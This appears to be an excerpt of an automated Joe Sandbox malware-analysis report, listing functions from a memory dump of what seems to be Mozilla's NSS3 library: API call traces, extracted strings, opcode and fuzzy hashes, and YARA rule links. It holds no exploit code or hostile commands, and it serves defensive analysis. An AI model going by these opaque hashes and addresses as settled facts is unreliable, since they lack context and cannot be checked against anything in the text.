Opcode ID: e7d618c362c9606b1696f3119a842ef591ee91d13af0a9e6f3cc5be8a6481779
Instruction ID: 5dc9d425eaa97b38892ed03fa3c6082d893f535cb205dfc73920cb24074db4b7
Opcode Fuzzy Hash: e7d618c362c9606b1696f3119a842ef591ee91d13af0a9e6f3cc5be8a6481779
Instruction Fuzzy Hash: 5A520671A08301ABE7009F25CC40B9BB7E5AFC531CF244528F956977A1E779E809CF9A

Function 6C6709B0 Relevance: 66.8, APIs: 44, Instructions: 817memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,?,?,?,6C671AD3), ref: 6C6709D5
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,?,6C671AD3), ref: 6C6709E9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C670A18
PR_SetError.NSS3(00000000,00000000), ref: 6C670A30
memcpy.VCRUNTIME140(?,00000000,00000020,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C670CC9
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C670D05
EnterCriticalSection.KERNEL32(?), ref: 6C670D19
PR_Unlock.NSS3(?), ref: 6C670D36
free.MOZGLUE(?), ref: 6C670D75
TlsGetValue.KERNEL32 ref: 6C670DA1
EnterCriticalSection.KERNEL32(?), ref: 6C670DB5
PR_Unlock.NSS3(?), ref: 6C670DEB
PORT_Alloc_Util.NSS3(?), ref: 6C670DFF
PR_Unlock.NSS3(?), ref: 6C670E37
free.MOZGLUE(?), ref: 6C670E4E
PR_SetError.NSS3(00000000,00000000), ref: 6C670E6A
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C670E9A
TlsGetValue.KERNEL32 ref: 6C670F23
EnterCriticalSection.KERNEL32(?), ref: 6C670F37
PR_SetError.NSS3(00000000,00000000), ref: 6C670FC7

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

PR_Unlock.NSS3(?), ref: 6C670FDE
TlsGetValue.KERNEL32 ref: 6C670FFA
EnterCriticalSection.KERNEL32(?), ref: 6C67100E
PR_Unlock.NSS3(?), ref: 6C671050
PR_Unlock.NSS3(?), ref: 6C671073
TlsGetValue.KERNEL32 ref: 6C671087
EnterCriticalSection.KERNEL32(?), ref: 6C67109B
PR_Unlock.NSS3(?), ref: 6C6710B8
free.MOZGLUE(?), ref: 6C671113
PORT_Alloc_Util.NSS3(?), ref: 6C671151
free.MOZGLUE(?), ref: 6C6711AB
TlsGetValue.KERNEL32 ref: 6C671296
EnterCriticalSection.KERNEL32(?), ref: 6C6712AB
PR_Unlock.NSS3(?), ref: 6C6712D9
TlsGetValue.KERNEL32 ref: 6C6712F4
EnterCriticalSection.KERNEL32(?), ref: 6C67130C
PR_Unlock.NSS3(?), ref: 6C671340
TlsGetValue.KERNEL32 ref: 6C671354
EnterCriticalSection.KERNEL32(?), ref: 6C67136C
PR_Unlock.NSS3(?), ref: 6C6713A3
TlsGetValue.KERNEL32 ref: 6C6713BA
EnterCriticalSection.KERNEL32(?), ref: 6C6713CF
PR_Unlock.NSS3(?), ref: 6C6713FB

Part of subcall function 6C6CDD70: TlsGetValue.KERNEL32 ref: 6C6CDD8C
Part of subcall function 6C6CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6CDDB4

PR_SetError.NSS3(FFFFE040,00000000), ref: 6C67141E

Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107AD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107CD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107D6
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5A204A), ref: 6C6107E4
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,6C5A204A), ref: 6C610864
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C610880
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,6C5A204A), ref: 6C6108CB
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108D7
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108FB

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalSection$Enter$Errorfree$Alloc_Utilcalloc$Leavememcpymemset
String ID:
API String ID: 3136013483-0
Opcode ID: 6a8014d0f77cf51692749ace9370eac252fc69e6cf34c6ecb2744ae20091f9fd
Instruction ID: 57a66cf6764d4276e357d81d2d68e4bbee44c49d13fd9bb435d60906a68a7949
Opcode Fuzzy Hash: 6a8014d0f77cf51692749ace9370eac252fc69e6cf34c6ecb2744ae20091f9fd
Instruction Fuzzy Hash: E972E071D002549FEF219F24C88879A7BB4BF0A318F1806B9DC099B752E735E895CBA5

Function 6C684840 Relevance: 63.4, APIs: 29, Strings: 7, Instructions: 351
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,00000000,?,?,6C66601B,?,00000000,?), ref: 6C68486F
PORT_ArenaAlloc_Util.NSS3(00000000,00000001,?,?,?,?,?,00000000), ref: 6C6848A8
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,?,00000000), ref: 6C6848BE
NSSUTIL_ArgSkipParameter.NSS3(?,?,?,?,?,00000000), ref: 6C6848DE
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,00000000), ref: 6C6848F5
NSSUTIL_ArgSkipParameter.NSS3(00000000,?,?,?,?,?,?,00000000), ref: 6C68490A
PORT_ZAlloc_Util.NSS3(?,?,?,?,?,?,00000000), ref: 6C684919
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,00000000), ref: 6C68493F
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C684970
PORT_Alloc_Util.NSS3(00000001), ref: 6C6849A0
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C6849AD
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6849D4
NSSUTIL_ArgFetchValue.NSS3(00000001,?), ref: 6C6849F4
NSSUTIL_ArgDecodeNumber.NSS3(00000000), ref: 6C684A10
NSSUTIL_ArgParseSlotFlags.NSS3(slotFlags,00000000), ref: 6C684A27
NSSUTIL_ArgReadLong.NSS3(timeout,00000000,00000000,00000000), ref: 6C684A3D
NSSUTIL_ArgGetParamValue.NSS3(askpw,00000000), ref: 6C684A4F
PL_strcasecmp.NSS3(00000000,every), ref: 6C684A6C
PL_strcasecmp.NSS3(00000000,timeout), ref: 6C684A81
free.MOZGLUE(00000000), ref: 6C684AAB
NSSUTIL_ArgGetParamValue.NSS3(rootFlags,00000000), ref: 6C684ABE
PL_strncasecmp.NSS3(00000000,hasRootCerts,0000000C), ref: 6C684ADC
free.MOZGLUE(00000000), ref: 6C684B17
NSSUTIL_ArgGetParamValue.NSS3(rootFlags,00000000), ref: 6C684B33

Part of subcall function 6C684120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C68413D
Part of subcall function 6C684120: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C684162
Part of subcall function 6C684120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C68416B
Part of subcall function 6C684120: PL_strncasecmp.NSS3(2Bhl,?,00000001), ref: 6C684187
Part of subcall function 6C684120: NSSUTIL_ArgSkipParameter.NSS3(2Bhl), ref: 6C6841A0
Part of subcall function 6C684120: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6841B4
Part of subcall function 6C684120: PL_strncasecmp.NSS3(00000000,0000003D,?), ref: 6C6841CC
Part of subcall function 6C684120: NSSUTIL_ArgFetchValue.NSS3(2Bhl,?), ref: 6C684203

PL_strncasecmp.NSS3(00000000,hasRootTrust,0000000C), ref: 6C684B53
free.MOZGLUE(00000000), ref: 6C684B94
free.MOZGLUE(?), ref: 6C684BA7
free.MOZGLUE(00000000), ref: 6C684BB7
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C684BC8

Strings

hasRootTrust, xrefs: 6C684B4D
every, xrefs: 6C684A66
hasRootCerts, xrefs: 6C684AD6
askpw, xrefs: 6C684A4A
slotFlags, xrefs: 6C684A22
timeout, xrefs: 6C684A38, 6C684A7B
rootFlags, xrefs: 6C684AB9, 6C684B2E

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: isspace$Valuefree$L_strncasecmp$Alloc_ParamParameterSkipUtil$FetchL_strcasecmpstrlen$ArenaDecodeFlagsLongNumberParseReadSlotmemsetstrcpystrncpy
String ID: askpw$every$hasRootCerts$hasRootTrust$rootFlags$slotFlags$timeout
API String ID: 3791087267-1256704202
Opcode ID: 5a0546c6e46f7fe28d3489d71809b7238cbb7c67f6d42f378f28b009cb6f99c1
Instruction ID: 816b6c01c1732fffb4b734a8ae64326d9a364cee5c0ca279b3b4a08f04dbf7a4
Opcode Fuzzy Hash: 5a0546c6e46f7fe28d3489d71809b7238cbb7c67f6d42f378f28b009cb6f99c1
Instruction Fuzzy Hash: 75C116B0E462558BEF11CF689C60BFE7BBCAF0A308F140065E855A7B01E7A1D914C7B9

Function 6C646D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6C74A8EC,0000006C), ref: 6C646DC6
memcpy.VCRUNTIME140(?,6C74A958,0000006C), ref: 6C646DDB
memcpy.VCRUNTIME140(?,6C74A9C4,00000078), ref: 6C646DF1
memcpy.VCRUNTIME140(?,6C74AA3C,0000006C), ref: 6C646E06
memcpy.VCRUNTIME140(?,6C74AAA8,00000060), ref: 6C646E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C646E38

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6C646E76
TlsGetValue.KERNEL32 ref: 6C64726F
EnterCriticalSection.KERNEL32(?), ref: 6C647283

Strings

!, xrefs: 6C647123

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: 00fef803a2c30224d3997705e6f8f22ba31f535180af94aeb6e9c719eddf1ae5
Instruction ID: c24c9c60ea3e8779bbab2bef36d9d76f1fff47341798fffe0603e08a7d76e67d
Opcode Fuzzy Hash: 00fef803a2c30224d3997705e6f8f22ba31f535180af94aeb6e9c719eddf1ae5
Instruction Fuzzy Hash: 53728FB5D052189FDF60DF28CC88B9ABBB5AF49304F1481E9D80CA7711E731AA85CF95

Function 6C668A30 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 393memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C668A58

Part of subcall function 6C680FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6287ED,00000800,6C61EF74,00000000), ref: 6C681000
Part of subcall function 6C680FF0: PR_NewLock.NSS3(?,00000800,6C61EF74,00000000), ref: 6C681016
Part of subcall function 6C680FF0: PL_InitArenaPool.NSS3(00000000,security,6C6287ED,00000008,?,00000800,6C61EF74,00000000), ref: 6C68102B

PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C668AC6
PORT_ArenaAlloc_Util.NSS3(00000000,00000044), ref: 6C668ADF
SECITEM_CopyItem_Util.NSS3(00000000,00000004,?), ref: 6C668B19
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6C668B2D
PK11_GenerateRandom.NSS3(00000000,00000010), ref: 6C668B49
SEC_ASN1EncodeInteger_Util.NSS3(00000000,00000010,00000000), ref: 6C668B61
SEC_ASN1EncodeInteger_Util.NSS3(00000000,0000001C), ref: 6C668B83
SECOID_SetAlgorithmID_Util.NSS3(00000000,-0000002C,?,00000000), ref: 6C668BA0
PR_SetError.NSS3(FFFFE006,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C668BF0
HASH_GetHashTypeByOidTag.NSS3(00000000), ref: 6C668BF9
SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C668C13
HASH_ResultLenByOidTag.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C668C3A
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C668CA7
PR_SetError.NSS3(FFFFE006,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C668CC4
PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6C668D12
PORT_FreeArena_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C668D20
SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C668D40
SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C668D99
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C668DBF
PORT_ArenaAlloc_Util.NSS3(00000123,00000018), ref: 6C668DD5
SEC_ASN1EncodeItem_Util.NSS3(?,?,00000000,6C74D864), ref: 6C668E39

Part of subcall function 6C67F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C67F0C8
Part of subcall function 6C67F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C67F122

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,?), ref: 6C668E5B

Part of subcall function 6C67BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C62E708,00000000,00000000,00000004,00000000), ref: 6C67BE6A
Part of subcall function 6C67BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6304DC,?), ref: 6C67BE7E
Part of subcall function 6C67BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C67BEC2

SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6C74D8C4), ref: 6C668E94
SECOID_SetAlgorithmID_Util.NSS3(?,00000000,00000000,?), ref: 6C668EAC
PORT_ZAlloc_Util.NSS3(00000018), ref: 6C668EBA
SECOID_CopyAlgorithmID_Util.NSS3(00000000,00000000,00000000), ref: 6C668ECC
SECITEM_ZfreeItem_Util.NSS3(-0000000C,00000000), ref: 6C668EE1
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C668EF4
free.MOZGLUE(00000000), ref: 6C668EFD
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C668F11
PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6C668F1C

Strings

tFVPj, xrefs: 6C668EC4

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Arena_Item_$Free$AlgorithmAlloc_ArenaCopyEncodeFindTag_$ErrorZfree$Integer_$GenerateHashInitK11_LockPoolRandomResultTypecallocfree
String ID: tFVPj
API String ID: 2709086113-199373283
Opcode ID: d41804f875bd1fc46872b84cd8c68596d13652a0bb8f1f47bd4149a4023e9a2d
Instruction ID: 69adac60f3b2c2312b500d9f6b2a1b973dc3907616ed8fe455f95f6e1154ef8f
Opcode Fuzzy Hash: d41804f875bd1fc46872b84cd8c68596d13652a0bb8f1f47bd4149a4023e9a2d
Instruction Fuzzy Hash: 9DD1D6B19053009BE7108F36DC80BAA76E8EF5B348F14492AEC54C6EA1F774D95487AF

Function 6C5B3C40 Relevance: 41.2, APIs: 20, Strings: 3, Instructions: 932COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5B3C66
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6C5B3D04
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5B3EAD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5B3ED7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5B3F74
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5B4052
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5B406F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6C5B410D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011A47,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5B449C

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5B4452, 6C5B4486, 6C5B44EA, 6C5B4571, 6C5B4580, 6C5B458F, 6C5B475A, 6C5B47FA
database corruption, xrefs: 6C5B4490, 6C5B44F4, 6C5B4599, 6C5B4764, 6C5B4804
%s at line %d of [%.10s], xrefs: 6C5B4495, 6C5B44F9, 6C5B459E, 6C5B4769, 6C5B4809

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: _byteswap_ulong$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2597148001-598938438
Opcode ID: 3e8fccfca6abdacb5358789b7231c145faa9f073c3aaabac1d8857cc54c6f4ec
Instruction ID: f7c940f5e7bbd67cc119d5e568918492d9f399ee9cbd8efa3fb36e5367d14951
Opcode Fuzzy Hash: 3e8fccfca6abdacb5358789b7231c145faa9f073c3aaabac1d8857cc54c6f4ec
Instruction Fuzzy Hash: 7582D370A00205CFCB14CF69C9A0B9EBBB2BF49318F258569D905BBB51E731EC46CB91

Function 6C68AC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C68ACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6C68ACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6C68ACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6C68AD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C68ADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C68ADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C68ADF0

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C68B06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C68B08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C68B1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C68B27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6C68B2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C68B3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C68B40C

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: 5fc9bddfc1866a75b8d885e40c8e689bc182fe84d0eb1b3b1935b5e2d3a54da4
Instruction ID: b92c5477451af3d64f5dd5c297153d2aa4136dfb3e47aa8a3edfdd60cf4922d4
Opcode Fuzzy Hash: 5fc9bddfc1866a75b8d885e40c8e689bc182fe84d0eb1b3b1935b5e2d3a54da4
Instruction Fuzzy Hash: 1B22BE70905300AFE710CF14CC45F9A77E1AF8530CF248968E9595B7A2E772E859CBAE

Function 6C60ECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C60ED38

Part of subcall function 6C5A4F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5A4FC4

sqlite3_mprintf.NSS3(snippet), ref: 6C60EF3C
sqlite3_mprintf.NSS3(offsets), ref: 6C60EFE4

Part of subcall function 6C6CDFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6C5A5001,?,00000003,00000000), ref: 6C6CDFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6C60F087
sqlite3_mprintf.NSS3(matchinfo), ref: 6C60F129
sqlite3_mprintf.NSS3(optimize), ref: 6C60F1D1
sqlite3_free.NSS3(?), ref: 6C60F368

Strings

optimize, xrefs: 6C60F199, 6C60F1CC, 6C60F211
porter, xrefs: 6C60ED97
offsets, xrefs: 6C60EFAF, 6C60EFDF, 6C60F01F
matchinfo, xrefs: 6C60F04F, 6C60F082, 6C60F0C2, 6C60F0F2, 6C60F124, 6C60F169
simple, xrefs: 6C60ED79
fts4, xrefs: 6C60F2AD
unicode61, xrefs: 6C60EDB5
fts3, xrefs: 6C60F247
fts4aux, xrefs: 6C60ECF9
fts3_tokenizer, xrefs: 6C60EE1A, 6C60EEA8
snippet, xrefs: 6C60EF05, 6C60EF37, 6C60EF7C
fts3tokenize, xrefs: 6C60F30F

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: 6f62d90978da2fd97e067a98d6c1c7b8905a08310da90a6b3840b0ae2bf1ce86
Instruction ID: ae8bb4decf5e5e8ed5155f1e745dcd33ea28aa3d15415e9f240dfbd6a4039f6b
Opcode Fuzzy Hash: 6f62d90978da2fd97e067a98d6c1c7b8905a08310da90a6b3840b0ae2bf1ce86
Instruction Fuzzy Hash: 1B0223B1B043008BE7089E719E8533B36B5BBC6718F24453CD95AA7B41EB71E846C79B

Function 6C687C00 Relevance: 31.9, APIs: 21, Instructions: 421COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C687C33
NSS_OptionGet.NSS3(0000000C,00000000), ref: 6C687C66
CERT_DestroyCertificate.NSS3(00000000), ref: 6C687D1E

Part of subcall function 6C687870: SECOID_FindOID_Util.NSS3(?,?,?,6C6891C5), ref: 6C68788F

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C687D48
PR_SetError.NSS3(FFFFE067,00000000), ref: 6C687D71
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C687DD3
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C687DE1
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C687DF8
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C687E1A
PR_SetError.NSS3(FFFFE067,00000000), ref: 6C687E58

Part of subcall function 6C687870: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C6891C5), ref: 6C6878BB
Part of subcall function 6C687870: PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6C6891C5), ref: 6C6878FA
Part of subcall function 6C687870: strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6C6891C5), ref: 6C687930
Part of subcall function 6C687870: PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6891C5), ref: 6C687951
